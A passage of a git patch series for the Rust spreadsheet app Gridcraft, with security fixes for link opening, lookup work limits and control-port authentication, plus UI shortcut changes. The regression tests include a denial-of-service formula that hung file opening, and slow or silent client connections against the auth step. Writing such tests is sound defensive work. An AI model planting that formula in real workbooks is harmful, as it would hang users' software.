deletion(-) diff --git a/crates/engine/tests/it/sheet_copy_spill.rs b/crates/engine/tests/it/sheet_copy_spill.rs index f7e62711b..aed68baf9 100644 --- a/crates/engine/tests/it/sheet_copy_spill.rs +++ b/crates/engine/tests/it/sheet_copy_spill.rs @@ -26,7 +26,7 @@ fn copied_sheet_keeps_spill_values_through_full_recalc() { let before = value(&s, "Grades (2)", "J55"); assert!(matches!(before, Value::Number(_)), "J55 should hold a spilled number, got {before:?}"); - let mut fresh = s.doc().unwrap().wb.clone(); + let mut fresh = (*s.doc().unwrap().wb).clone(); Calc::new().recalc_all(&mut fresh); let after = fresh.sheet(fresh.sheet_index("Grades (2)").unwrap()).unwrap().value(CellRef::parse("J55").unwrap()); assert_eq!(before, after); From ea5292c94a9db46583ccfb722c509a3a4b29453e Mon Sep 17 00:00:00 2001 From: Higgs32584 Date: Mon, 26 Oct 2026 23:09:30 -0400 Subject: [PATCH 025/298] fix(engine): gate the temp-name symlink test to unix `save_fails_upfront_when_the_temp_name_is_taken` calls `std::os::unix::fs::symlink` but was only gated on non-wasm, so the engine crate's lib tests did not compile on Windows. Gate it `cfg(unix)` like the neighbouring permissions test. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/io/tests.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/engine/src/io/tests.rs b/crates/engine/src/io/tests.rs index 48c8e130e..130b1a6d9 100644 --- a/crates/engine/src/io/tests.rs +++ b/crates/engine/src/io/tests.rs @@ -19,6 +19,7 @@ fn copied(wb: &Workbook, range: &str) -> String { } #[cfg(not(target_arch = "wasm32"))] +#[cfg(unix)] #[test] fn save_fails_upfront_when_the_temp_name_is_taken() { // Another local user who can write the directory must not be able to point the From 4cc2c44678b2a0279e798ec95cf1093038699fc9 Mon Sep 17 00:00:00 2001 From: Higgs32584 Date: Tue, 27 Oct 2026 00:39:40 -0400 Subject: [PATCH 026/298] Security: web links open with noopener as a window feature, not in the window name (#2715) window.open(url, "_blank,noopener") named the new window "_blank,noopener" and passed no features, so a page opened from a workbook link kept window.opener and could navigate the editor tab. Pass "noopener,noreferrer" as the features argument instead. Co-Authored-By: Claude Opus 5.5 --- apps/gridcraft-web/src/web.rs | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/apps/gridcraft-web/src/web.rs b/apps/gridcraft-web/src/web.rs index 43923bde1..10e17dc44 100644 --- a/apps/gridcraft-web/src/web.rs +++ b/apps/gridcraft-web/src/web.rs @@ -230,8 +230,9 @@ fn services(inbox: Inbox, ctx: egui::Context) -> Services { && let gridcraft_engine::links::LinkKind::External(url) = gridcraft_engine::links::classify(url) { // With `noopener` the new browsing context can't hold a reference back to the - // editor window and navigate it while the user reads the linked page. - let _ = w.open_with_url_and_target(&url, "_blank,noopener"); + // editor window and navigate it while the user reads the linked page. It must be a + // window *feature*: inside the target string it would only name the new window. + let _ = w.open_with_url_and_target_and_features(&url, "_blank", "noopener,noreferrer"); } })), inbox: Some(inbox), From 7d828c01f727347d3af38312605a61fd69e7a936 Mon Sep 17 00:00:00 2001 From: Higgs32584 Date: Tue, 27 Oct 2026 00:40:18 -0400 Subject: [PATCH 027/298] Security: cap the work of lifted lookups, needles x lookup vector, with #NUM! (#2716) A lookup lifted over an array of needles searched its whole lookup vector once per needle with no total cap, so =ROWS(XMATCH(SEQUENCE(1048576),-SEQUENCE(1048576))) in a 1.6 KB file ran for hours and hung file.open. VLOOKUP, HLOOKUP, LOOKUP, MATCH, XLOOKUP and XMATCH now return #NUM! past 5e8 needle x entry steps, the pattern MMULT uses. Other lifted functions are unchanged. Co-Authored-By: Claude Opus 5.5 --- crates/calc/src/tests.rs | 19 +++++++++++ crates/functions/src/lift.rs | 62 +++++++++++++++++++++++++++++++++++- 2 files changed, 80 insertions(+), 1 deletion(-) diff --git a/crates/calc/src/tests.rs b/crates/calc/src/tests.rs index 5b9e90085..e2d62db66 100644 --- a/crates/calc/src/tests.rs +++ b/crates/calc/src/tests.rs @@ -614,6 +614,25 @@ fn lambda_calls_spend_one_work_budget_per_cell() { assert_eq!(t.num("A2"), 4000.0 * 4001.0 / 2.0); } +#[test] +fn lifted_lookups_stop_past_their_work_budget() { + // Security: each needle searched the whole lookup vector, so this one cell ran for hours + // (about 1.1e12 compares) and hung opening the file that held it. It is #NUM! at once now. + let mut t = T::new(); + t.set("A1", "=ROWS(XMATCH(SEQUENCE(1048576),-SEQUENCE(1048576)))"); + assert_eq!(t.get("A1"), Value::Error(CellError::Num)); + // Ordinary lifted lookups are unaffected. + for (i, k) in [10, 20, 30, 40, 50].into_iter().enumerate() { + t.set(&format!("B{}", i + 1), &k.to_string()); + t.set(&format!("C{}", i + 1), &(i + 1).to_string()); + } + t.set("D1", "=SUM(XMATCH({30;50;10},B1:B5))"); + t.set("D2", "=SUM(XLOOKUP({20;40},B1:B5,C1:C5))"); + t.set("D3", "=SUM(VLOOKUP({30,10},B1:C5,2,FALSE))"); + t.set("D4", "=SUM(MATCH({25,50},B1:B5))"); + assert_eq!([t.num("D1"), t.num("D2"), t.num("D3"), t.num("D4")], [9.0, 6.0, 4.0, 7.0]); +} + #[test] fn accounting_negative_text_coerces() { let mut t = T::new(); diff --git a/crates/functions/src/lift.rs b/crates/functions/src/lift.rs index 056cb6d31..ea7f07fd9 100644 --- a/crates/functions/src/lift.rs +++ b/crates/functions/src/lift.rs @@ -58,6 +58,35 @@ fn reject_multi_cell_refs(spec: &FnSpec, args: &[Arg]) -> Option> { ) } +/// Lookups whose every call searches a lookup vector from its start, so a call lifted over `n` +/// needles does `n` x (vector length) work. Their search arguments don't lift. +const SCANS: &[&str] = &["VLOOKUP", "HLOOKUP", "LOOKUP", "MATCH", "XLOOKUP", "XMATCH"]; + +/// Work budget of a lifted [`SCANS`] lookup: needle cells times the length of the longest vector +/// it searches (the longest dimension of its largest non-lifted array). Each needle re-reads and +/// scans the vector (about 8 ns per entry), so without a cap a one-cell formula such as +/// `XMATCH(SEQUENCE(1048576), -SEQUENCE(1048576))` runs for hours and hangs opening the file. +/// Past the budget the call is `#NUM!`, as MMULT is past 2e9 multiply-adds. 5e8 keeps the worst +/// case to a few seconds and still admits 5,000 needles over a 100,000-row table. +const LIFTED_SCAN_BUDGET: usize = 500_000_000; + +/// The length of the longest vector a lifted call of `spec` searches per needle: 0 unless `spec` +/// is one of the [`SCANS`] lookups and a non-lifted argument is an array. +fn scan_len(spec: &FnSpec, args: &[Arg]) -> usize { + if !SCANS.contains(&spec.name) { + return 0; + } + args.iter() + .enumerate() + .filter(|(i, _)| !spec.is_scalar_arg(*i)) + .filter_map(|(_, a)| match &a.value { + Value::Array(arr) => Some(arr.rows.max(arr.cols)), + _ => None, + }) + .max() + .unwrap_or(0) +} + pub(crate) fn call_lifted(spec: &FnSpec, args: &[Arg], ctx: &mut dyn Ctx) -> Value { let rejected = if spec.value_args.is_empty() { None } else { reject_multi_cell_refs(spec, args) }; let args = rejected.as_deref().unwrap_or(args); @@ -76,7 +105,8 @@ pub(crate) fn call_lifted(spec: &FnSpec, args: &[Arg], ctx: &mut dyn Ctx) -> Val if !any { return (spec.imp)(args, ctx); } - if rows.saturating_mul(cols) > MAX_CELLS { + let needles = rows.saturating_mul(cols); + if needles > MAX_CELLS || needles.saturating_mul(scan_len(spec, args)) > LIFTED_SCAN_BUDGET { return Value::Error(CellError::Num); } let mut cell_args: Vec = args.to_vec(); @@ -149,6 +179,36 @@ mod tests { is_err(huge, CellError::Num); } + /// Security: a lifted lookup searches its whole lookup vector once per needle, so needles x + /// vector length past `LIFTED_SCAN_BUDGET` is `#NUM!` at once. + /// `XMATCH(SEQUENCE(1048576), -SEQUENCE(1048576))` used to run for hours (and hung opening + /// the 1.6 KB file holding it). + #[test] + fn lifted_lookups_stop_past_their_work_budget() { + use gridcraft_core::Array; + let tall = |n: usize| av(Array::filled(n, 1, nv(-1.0)).into()); + let wide = |n: usize| av(Array::filled(1, n, nv(-1.0)).into()); + is_err(ev("XMATCH", vec![tall(1_048_576), tall(1_048_576)]), CellError::Num); + // Just past the budget, for every lookup: 501 needles over 1,000,000 entries. + assert_eq!(super::LIFTED_SCAN_BUDGET, 500 * 1_000_000); + is_err(ev("XMATCH", vec![tall(501), tall(1_000_000)]), CellError::Num); + is_err(ev("MATCH", vec![tall(501), tall(1_000_000), n(0.0)]), CellError::Num); + is_err(ev("XLOOKUP", vec![tall(501), tall(1_000_000), tall(1_000_000)]), CellError::Num); + is_err(ev("VLOOKUP", vec![tall(501), tall(1_000_000), n(1.0), b(false)]), CellError::Num); + is_err(ev("HLOOKUP", vec![tall(501), wide(1_000_000), n(1.0), b(false)]), CellError::Num); + is_err(ev("LOOKUP", vec![tall(501), tall(1_000_000)]), CellError::Num); + // Within the budget lifted lookups work as before. + let keys = || av(col(&[10.0, 20.0, 30.0])); + let pos = ev("XMATCH", vec![av(col(&[30.0, 10.0, 99.0])), keys()]); + assert_eq!(rows_of(&pos), vec![vec![nv(3.0)], vec![nv(1.0)], vec![Value::Error(CellError::NA)]]); + let found = ev("XLOOKUP", vec![av(row(&[20.0, 30.0])), keys(), av(col(&[1.0, 2.0, 3.0]))]); + assert_eq!(rows_of(&found), vec![vec![nv(2.0), nv(3.0)]]); + // Other lifted functions aren't metered: INDEX reads one entry per position. + let picks: Vec = (1..=1000u32).map(f64::from).collect(); + let out = ev("INDEX", vec![tall(1_048_576), av(col(&picks))]); + assert_eq!(rows_of(&out), vec![vec![nv(-1.0)]; 1000]); + } + #[test] fn value_params_reject_multi_cell_references() { let s = FnSpec { value_args: &[true, false], ..spec() }; From a38aed68cbb742546b6cad8b971d699fd986737e Mon Sep 17 00:00:00 2001 From: Higgs32584 Date: Tue, 27 Oct 2026 00:55:44 -0400 Subject: [PATCH 028/298] Security: control channel enforces its 10 s token deadline and caps waiting connections (#2717) authenticate() set the read timeout on the writing half of the socket while it read the token through a try_clone; on Windows the clone has its own timeout, so a peer that never sent a line held its thread forever (and a per-read timeout let a byte-at-a-time peer stretch it elsewhere). The first line now has one total deadline, set on the handle being read and shortened before each read. At most 16 connections may wait to authenticate (more are closed on accept, as #2174 suggested), and accept errors back off instead of spinning. Co-Authored-By: Claude Opus 5.5 --- apps/gridcraft/src/control_server.rs | 179 ++++++++++++++++++++++++--- docs/control-protocol.md | 3 +- 2 files changed, 166 insertions(+), 16 deletions(-) diff --git a/apps/gridcraft/src/control_server.rs b/apps/gridcraft/src/control_server.rs index cc5a80c10..7cba6db2c 100644 --- a/apps/gridcraft/src/control_server.rs +++ b/apps/gridcraft/src/control_server.rs @@ -12,16 +12,47 @@ use std::io::{BufRead, BufReader, Read, Write}; use std::net::{TcpListener, TcpStream}; use std::sync::Arc; +use std::sync::atomic::{AtomicUsize, Ordering}; use std::sync::mpsc::{Receiver, Sender, channel}; -use std::time::Duration; +use std::time::{Duration, Instant}; use gridcraft_mcp::control_auth; use gridcraft_ui_egui::ControlRequest; use serde_json::{Value as Json, json}; const MAX_LINE: usize = 64 * 1024 * 1024; -/// How long a new connection may take to send its token. +/// How long a new connection may take to send its token, in total. const AUTH_TIMEOUT: Duration = Duration::from_secs(10); +/// How many connections may be waiting to authenticate at once. Anyone on the machine can +/// connect without the token, so past this a new connection is closed before anything is read: +/// each waiting one holds a thread and a socket. +const MAX_PENDING_AUTH: usize = 16; + +/// How the server treats connections that haven't authenticated yet. +#[derive(Clone, Copy)] +struct AuthLimits { + timeout: Duration, + max_pending: usize, +} + +const AUTH_LIMITS: AuthLimits = AuthLimits { timeout: AUTH_TIMEOUT, max_pending: MAX_PENDING_AUTH }; + +/// A connection that is still waiting to authenticate; dropping it frees its place. +struct Pending(Arc); + +impl Pending { + /// A place among the `max` waiting connections, or `None` when they are all taken. + fn claim(waiting: &Arc, max: usize) -> Option { + waiting.try_update(Ordering::AcqRel, Ordering::Acquire, |n| (n < max).then_some(n + 1)).ok()?; + Some(Pending(Arc::clone(waiting))) + } +} + +impl Drop for Pending { + fn drop(&mut self) { + self.0.fetch_sub(1, Ordering::AcqRel); + } +} /// The secret of this run: the one the user chose (`--control-token`, `GRIDCRAFT_CONTROL_TOKEN`), /// else 256 random bits from the operating system, written to a file only the user can read. @@ -51,35 +82,75 @@ pub fn start(port: u16, chosen_token: Option, ctx: egui::Context) -> std /// Accept connections on `listener`; requests arrive on the returned receiver. fn serve_listener(listener: TcpListener, token: Arc, ctx: egui::Context) -> std::io::Result> { + serve_listener_with(listener, token, ctx, AUTH_LIMITS) +} + +fn serve_listener_with(listener: TcpListener, token: Arc, ctx: egui::Context, limits: AuthLimits) -> std::io::Result> { let (tx, rx) = channel(); + let waiting = Arc::new(AtomicUsize::new(0)); std::thread::Builder::new().name("control".into()).spawn(move || { - for stream in listener.incoming().flatten() { + for stream in listener.incoming() { + let Ok(stream) = stream else { + // Out of sockets or handles: wait for some to free instead of spinning on the error. + std::thread::sleep(Duration::from_millis(50)); + continue; + }; + // Dropping the stream closes it before anything is read. + let Some(place) = Pending::claim(&waiting, limits.max_pending) else { continue }; let tx = tx.clone(); let ctx = ctx.clone(); let token = Arc::clone(&token); - let _ = std::thread::Builder::new().name("control-conn".into()).spawn(move || serve(stream, &token, tx, ctx)); + let _ = + std::thread::Builder::new().name("control-conn".into()).spawn(move || serve(stream, &token, tx, ctx, limits.timeout, Some(place))); } })?; Ok(rx) } /// Read the connection's first line (at most [`control_auth::MAX_AUTH_LINE`] bytes, within -/// [`AUTH_TIMEOUT`]) and check the token. `true` when the peer may go on. -fn authenticate(reader: &mut BufReader, out: &mut TcpStream, token: &str) -> bool { - let _ = out.set_read_timeout(Some(AUTH_TIMEOUT)); - let mut first = String::new(); - let read = reader.by_ref().take(control_auth::MAX_AUTH_LINE as u64).read_line(&mut first); - let verdict = match read { - Ok(n) if n > 0 && first.ends_with('\n') => control_auth::check_first_line(&first, token), +/// `timeout` in total) and check the token. `true` when the peer may go on. +#[allow(clippy::disallowed_methods)] // the desktop app (native only): wasm never runs it +fn authenticate(reader: &mut BufReader, out: &mut TcpStream, token: &str, timeout: Duration) -> bool { + let deadline = Instant::now().checked_add(timeout).unwrap_or_else(Instant::now); + let mut first = Vec::new(); + let read = read_auth_line(reader, &mut first, deadline); + let verdict = match (read, std::str::from_utf8(&first)) { + (Ok(()), Ok(line)) if line.ends_with('\n') => control_auth::check_first_line(line, token), _ => Err(json!({"ok": false, "error": "authentication required"})), }; let allowed = verdict.is_ok(); let reply = verdict.unwrap_or_else(|e| e); let _ = writeln!(out, "{reply}"); - let _ = out.set_read_timeout(None); + let _ = reader.get_ref().set_read_timeout(None); allowed } +/// Read the first line, at most [`control_auth::MAX_AUTH_LINE`] bytes, by `deadline`. +/// +/// The timeout goes on the handle the reader reads: on Windows a `try_clone` of the stream keeps +/// its own, so one set on the writing half never fired (a silent peer held its thread forever). +/// It is shortened before every read, so a peer sending one byte at a time can't stretch it. +#[allow(clippy::disallowed_methods)] // the desktop app (native only): wasm never runs it +fn read_auth_line(reader: &mut BufReader, line: &mut Vec, deadline: Instant) -> std::io::Result<()> { + let max = control_auth::MAX_AUTH_LINE; + while line.len() < max && line.last() != Some(&b'\n') { + let left = deadline.saturating_duration_since(Instant::now()); + if left.is_zero() { + return Err(std::io::ErrorKind::TimedOut.into()); + } + reader.get_ref().set_read_timeout(Some(left))?; + let buf = reader.fill_buf()?; + if buf.is_empty() { + break; + } + let room = max.saturating_sub(line.len()); + let take = buf.iter().take(room).position(|b| *b == b'\n').map_or(buf.len().min(room), |i| i + 1); + line.extend(buf.iter().take(take)); + reader.consume(take); + } + Ok(()) +} + /// Read one `\n`-terminated line of at most `max` bytes into `buf` (newline stripped). /// `Ok(false)` at end of stream; `Err` when the line is too long or the read fails. fn read_bounded_line(reader: &mut impl BufRead, buf: &mut Vec, max: usize) -> Result { @@ -148,11 +219,14 @@ fn is_http_request_line(text: &str) -> bool { || text.rsplit_once(' ').is_some_and(|(_, version)| version.starts_with("HTTP/")) } -fn serve(stream: TcpStream, token: &str, tx: Sender, ctx: egui::Context) { +fn serve(stream: TcpStream, token: &str, tx: Sender, ctx: egui::Context, auth_timeout: Duration, place: Option) { let Ok(read) = stream.try_clone() else { return }; let mut out = stream; let mut reader = BufReader::new(read); - if !authenticate(&mut reader, &mut out, token) { + let allowed = authenticate(&mut reader, &mut out, token, auth_timeout); + // Authenticated or refused, the connection no longer counts as waiting. + drop(place); + if !allowed { return; } let mut buf = Vec::new(); @@ -294,7 +368,7 @@ mod tests { std::thread::spawn(move || { for stream in listener.incoming().flatten() { let tx = tx.clone(); - std::thread::spawn(move || serve(stream, TOKEN, tx, egui::Context::default())); + std::thread::spawn(move || serve(stream, TOKEN, tx, egui::Context::default(), AUTH_TIMEOUT, None)); } }); addr @@ -346,6 +420,81 @@ mod tests { assert_eq!(got[1]["ok"], json!(false)); } + /// Whether the server closed `c` (end of stream, or a refusal and then end of stream) within + /// `within`, and how long it took. + #[allow(clippy::disallowed_methods)] // a native-only test of the desktop app + fn closed_within(c: TcpStream, within: Duration) -> (bool, Duration) { + let start = Instant::now(); + c.set_read_timeout(Some(within)).unwrap(); + let mut r = BufReader::new(c); + let mut line = String::new(); + loop { + line.clear(); + match r.read_line(&mut line) { + Ok(0) => return (true, start.elapsed()), + Ok(_) => continue, + Err(e) if matches!(e.kind(), std::io::ErrorKind::WouldBlock | std::io::ErrorKind::TimedOut) => return (false, start.elapsed()), + Err(_) => return (true, start.elapsed()), + } + } + } + + /// The token deadline is for the whole first line: neither a silent peer nor one sending a + /// byte at a time keeps the connection (and its thread) past it. + #[test] + fn a_silent_or_slow_peer_is_closed_at_the_auth_deadline() { + let listener = TcpListener::bind(("127.0.0.1", 0)).unwrap(); + let addr = listener.local_addr().unwrap(); + let limits = AuthLimits { timeout: Duration::from_millis(300), max_pending: MAX_PENDING_AUTH }; + let _rx = serve_listener_with(listener, TOKEN.into(), egui::Context::default(), limits).unwrap(); + + let silent = TcpStream::connect(addr).unwrap(); + let mut slow = TcpStream::connect(addr).unwrap(); + let mut drip = slow.try_clone().unwrap(); + std::thread::spawn(move || { + for b in control_auth::auth_line(1, TOKEN).bytes() { + if drip.write_all(&[b]).is_err() { + break; + } + std::thread::sleep(Duration::from_millis(50)); + } + }); + let (closed, took) = closed_within(silent, Duration::from_secs(5)); + assert!(closed && took < Duration::from_secs(3), "silent peer kept for {took:?}"); + let (closed, took) = closed_within(slow.try_clone().unwrap(), Duration::from_secs(5)); + assert!(closed && took < Duration::from_secs(3), "byte-at-a-time peer kept for {took:?}"); + let _ = slow.flush(); + } + + /// Peers without the token can't pile up threads: past the cap a new connection is closed at + /// once, and a waiting one that authenticates frees its place. + #[test] + fn connections_waiting_to_authenticate_are_capped() { + let listener = TcpListener::bind(("127.0.0.1", 0)).unwrap(); + let addr = listener.local_addr().unwrap(); + let limits = AuthLimits { timeout: Duration::from_secs(20), max_pending: 2 }; + let _rx = serve_listener_with(listener, TOKEN.into(), egui::Context::default(), limits).unwrap(); + + let mut first = TcpStream::connect(addr).unwrap(); + let _second = TcpStream::connect(addr).unwrap(); + std::thread::sleep(Duration::from_millis(200)); + let (closed, took) = closed_within(TcpStream::connect(addr).unwrap(), Duration::from_secs(5)); + assert!(closed && took < Duration::from_secs(3), "a third waiting connection was kept"); + + first.set_read_timeout(Some(Duration::from_secs(5))).unwrap(); + first.write_all(format!("{}\n", control_auth::auth_line(1, TOKEN)).as_bytes()).unwrap(); + let mut reply = String::new(); + BufReader::new(first.try_clone().unwrap()).read_line(&mut reply).unwrap(); + assert_eq!(serde_json::from_str::(&reply).unwrap()["ok"], json!(true), "{reply}"); + std::thread::sleep(Duration::from_millis(200)); + let mut next = TcpStream::connect(addr).unwrap(); + next.set_read_timeout(Some(Duration::from_secs(5))).unwrap(); + next.write_all(format!("{}\n", control_auth::auth_line(1, TOKEN)).as_bytes()).unwrap(); + let mut reply = String::new(); + BufReader::new(next).read_line(&mut reply).unwrap(); + assert_eq!(serde_json::from_str::(&reply).unwrap()["ok"], json!(true), "a freed place was not reused: {reply}"); + } + #[test] fn a_chosen_token_must_be_long_enough() { assert!(make_token(1, Some("short".into())).is_err()); diff --git a/docs/control-protocol.md b/docs/control-protocol.md index 883a6af3b..3dee729d3 100644 --- a/docs/control-protocol.md +++ b/docs/control-protocol.md @@ -23,7 +23,8 @@ The control port is reachable by every program on the machine, and by a web page `{"id":0,"ok":true,"result":{"authenticated":true}}`. Any other first line (a wrong or missing token, another method, text that isn't JSON such as an HTTP request, no line within 10 s, or one longer than 4 KiB) gets `{"ok":false,"error":"authentication required"}` and the - connection is closed. After that, a line that isn't JSON also closes the connection. + connection is closed. At most 16 connections may be waiting to send their token at once; past that a new + connection is closed before anything is read. After that, a line that isn't JSON also closes the connection. - `gridcraft-cli send`/`mcp --connect` and `gridcraft_mcp::Remote` do this themselves: they use `GRIDCRAFT_CONTROL_TOKEN` if set, else the token file of that port (so they work for the same user on the same machine without setup). Your own client reads the file or the variable. From fa6ccc6ae577a0c13894ba66ecc30b40529e9a1c Mon Sep 17 00:00:00 2001 From: AnhNgoo <110978888+AnhNgoo@users.noreply.github.com> Date: Tue, 27 Oct 2026 16:10:46 +0700 Subject: [PATCH 029/298] fix(engine): set default workbook author (#2448) --- crates/engine/src/lib.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/engine/src/lib.rs b/crates/engine/src/lib.rs index f0676c772..789769dee 100644 --- a/crates/engine/src/lib.rs +++ b/crates/engine/src/lib.rs @@ -547,6 +547,7 @@ impl Session { pub fn new_workbook(&mut self) -> usize { let n = (1..).find(|n| !self.docs.iter().any(|d| d.title == format!("Book{n}") && d.path.is_none())).unwrap_or(1); let mut wb = Workbook::new(); + wb.props.author = self.prefs.user_name.clone(); for _ in 1..self.prefs.sheets_in_new_workbook.clamp(1, 255) { let name = wb.next_sheet_name(); wb.sheets.push(Arc::new(gridcraft_model::Sheet::new(name))); From d3832e98e6d7b81ca9a410c07eccca9f4579a243 Mon Sep 17 00:00:00 2001 From: AnhNgoo <110978888+AnhNgoo@users.noreply.github.com> Date: Tue, 27 Oct 2026 16:56:49 +0700 Subject: [PATCH 030/298] fix(ui): show shortcuts in command palette (#2725) --- crates/ui-egui/src/dialogs/command_search.rs | 20 ++++++++++++++++---- crates/ui-egui/tests/it/dialog_focus.rs | 20 ++++++++++++++++++++ 2 files changed, 36 insertions(+), 4 deletions(-) diff --git a/crates/ui-egui/src/dialogs/command_search.rs b/crates/ui-egui/src/dialogs/command_search.rs index 509ca4700..1aefdb9b1 100644 --- a/crates/ui-egui/src/dialogs/command_search.rs +++ b/crates/ui-egui/src/dialogs/command_search.rs @@ -20,13 +20,20 @@ pub(super) fn command_search(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dial } let q = d.search.to_ascii_lowercase(); - let cmds: Vec<(String, String, String)> = app + let cmds: Vec<(String, String, String, Option<&str>)> = app .session .commands() .into_iter() .filter(|c| c.enabled) .filter(|c| q.is_empty() || c.label.to_ascii_lowercase().contains(&q) || c.id.to_ascii_lowercase().contains(&q)) - .map(|c| (c.id.to_string(), c.label.to_string(), c.menu.join(" › "))) + .map(|c| { + ( + c.id.to_string(), + c.label.to_string(), + c.menu.join(" › "), + crate::widgets::tooltip_shortcut(c.label, cfg!(target_os = "macos")).or(c.shortcut), + ) + }) .take(40) .collect(); @@ -62,8 +69,13 @@ pub(super) fn command_search(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dial egui::ScrollArea::vertical().max_height(LIST_HEIGHT).auto_shrink([true, false]).show(ui, |ui| { let scroll_area_width = ui.available_width(); - for (i, (id, label, menu)) in cmds.iter().enumerate() { - let r = ui.add(egui::Button::selectable(i == d.list_index, format!("{label} {menu}")).min_size(vec2(scroll_area_width, 20.0))); + for (i, (id, label, menu, shortcut)) in cmds.iter().enumerate() { + let shortcut = shortcut.map(|keys| if cfg!(target_os = "macos") { keys.to_string() } else { keys.replace("Cmd+", "Ctrl+") }); + let text = match shortcut { + Some(keys) => format!("{label} ({keys}) {menu}"), + None => format!("{label} {menu}"), + }; + let r = ui.add(egui::Button::selectable(i == d.list_index, text).truncate().min_size(vec2(scroll_area_width, 20.0))); if (down || up || home || end || pgup || pgdn) && i == d.list_index && !ui.clip_rect().contains_rect(r.rect) { r.scroll_to_me(Some(if down || end || pgdn { egui::Align::Max } else { egui::Align::Min })); diff --git a/crates/ui-egui/tests/it/dialog_focus.rs b/crates/ui-egui/tests/it/dialog_focus.rs index 98133c371..9ed72fe76 100644 --- a/crates/ui-egui/tests/it/dialog_focus.rs +++ b/crates/ui-egui/tests/it/dialog_focus.rs @@ -2,6 +2,7 @@ //! column width without clicking into the field first. use egui::{Event, Key, vec2}; +use egui_kittest::kittest::Queryable; use gridcraft_engine::Session; use gridcraft_engine::core::CellRef; use gridcraft_ui_egui::SheetApp; @@ -81,3 +82,22 @@ fn command_search_arrow_and_page_keys_move_the_selection_and_keep_the_search_foc assert!(after_page > 2, "PageDown moved past the third row, got {after_page}"); assert!(h.ctx.memory(|m| m.focused()).is_some(), "the search field kept focus"); } + +#[test] +fn command_search_shows_shortcuts_for_current_platform() { + let mut h = harness(); + h.state_mut().open_dialog("commandSearch", json!({})); + h.run_steps(6); + + h.state_mut().dialog.as_mut().unwrap().search = "bold".into(); + h.run_steps(3); + + let bold = if cfg!(target_os = "macos") { "Bold (⌘B)" } else { "Bold (Ctrl+B)" }; + h.get_by_label_contains(bold); + + h.state_mut().dialog.as_mut().unwrap().search = "filter".into(); + h.run_steps(3); + + let filter = if cfg!(target_os = "macos") { "Filter (⌘⇧F)" } else { "Filter (Ctrl+Shift+L)" }; + h.get_by_label_contains(filter); +} From a8e03ef40f6fa71c69f9bcd3e8f944e7c912b8c9 Mon Sep 17 00:00:00 2001 From: RomanLis91 <106732723+RomanLis91@users.noreply.github.com> Date: Tue, 27 Oct 2026 23:33:25 +0200 Subject: [PATCH 031/298] fix(keyboard): Ctrl with the numpad's + inserts rows, columns or cells, as in Excel Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QJaF5jevKidVoJcnTyBFub --- crates/ui-egui/src/ribbon/shortcuts.rs | 3 ++- .../ui-egui/tests/it/whole_line_shortcuts.rs | 18 +++++++++++++++++- docs/ui-parity.md | 5 +++-- 3 files changed, 22 insertions(+), 4 deletions(-) diff --git a/crates/ui-egui/src/ribbon/shortcuts.rs b/crates/ui-egui/src/ribbon/shortcuts.rs index 7edf4c58c..694f7dd60 100644 --- a/crates/ui-egui/src/ribbon/shortcuts.rs +++ b/crates/ui-egui/src/ribbon/shortcuts.rs @@ -61,7 +61,8 @@ pub fn shortcut(app: &mut SheetApp, key: Key, m: Modifiers) { } }, // Insert works on one area at a time, so several areas still go through the dialog. - Key::Plus | Key::Equals if shift => match whole_lines(app).filter(|_| single_area(app)) { + // The numpad's + arrives as Plus without Shift; Excel takes Ctrl with it as well. + Key::Plus | Key::Equals if shift || key == Key::Plus => match whole_lines(app).filter(|_| single_area(app)) { Some(true) => Some(("home.insertRows", json!({}))), Some(false) => Some(("home.insertColumns", json!({}))), None => { diff --git a/crates/ui-egui/tests/it/whole_line_shortcuts.rs b/crates/ui-egui/tests/it/whole_line_shortcuts.rs index 58e6d3f6f..0055bfbfb 100644 --- a/crates/ui-egui/tests/it/whole_line_shortcuts.rs +++ b/crates/ui-egui/tests/it/whole_line_shortcuts.rs @@ -1,4 +1,4 @@ -//! Ctrl+Shift+= and Ctrl+- on whole rows or columns insert or delete them at once, as in Excel; +//! Ctrl+Shift+= (or Ctrl with the numpad's +) and Ctrl+- on whole rows or columns insert or delete them at once, as in Excel; //! any other selection opens the Insert or Delete dialog. use egui::{Key, Modifiers}; @@ -57,6 +57,22 @@ fn whole_columns_are_inserted_and_deleted_at_once() { assert_eq!(value(&h, "A1"), Value::from("a1")); } +#[test] +fn numpad_plus_inserts_without_shift() { + let mut h = harness("2:2"); + press(&mut h, Key::Plus, false); + assert!(h.state().dialog.is_none(), "no dialog for whole rows"); + assert!(value(&h, "A2").is_empty(), "a row was inserted above row 2"); + assert_eq!(value(&h, "A3"), Value::from("a2")); +} + +#[test] +fn unshifted_equals_inserts_nothing() { + let mut h = harness("2:2"); + press(&mut h, Key::Equals, false); + assert_eq!(value(&h, "A2"), Value::from("a2")); +} + #[test] fn other_selections_still_ask_which_way_to_shift() { let mut h = harness("A2:B2"); diff --git a/docs/ui-parity.md b/docs/ui-parity.md index f35899236..0e8a53d73 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -1,6 +1,6 @@ # UI parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-10-25 · **Change:** minor (AutoSum over a selected row puts its total to the right) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-10-27 · **Change:** minor (Ctrl with the numpad's + inserts, as Ctrl+Shift+= does) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Interaction, controls and feel, against Excel. Part of [target-app-parity.md](target-app-parity.md). **UI/UX fidelity: ~55% ready, 50–80 h** (estimated). Ribbon command coverage is measured @@ -106,7 +106,7 @@ otherwise. Number-format and border keys match the physical key (Ctrl+Shift+4, w | Ctrl+S, Ctrl+Shift+S, Ctrl+O, Ctrl+N, Ctrl+W | Cmd | save, save as, open, new, close | present | | Ctrl+F, Ctrl+H, Ctrl+G, Ctrl+K, Ctrl+T | Cmd (Ctrl+H) | find, replace, go to, hyperlink, table | present | | Ctrl+D, Ctrl+R, Ctrl+E, Ctrl+1, Ctrl+9 / 0, Ctrl+Shift+9 / 0 | Cmd (Ctrl+E on Mac: see below) | fill down/right, Flash Fill, Format Cells, hide/unhide | present | -| Ctrl+- , 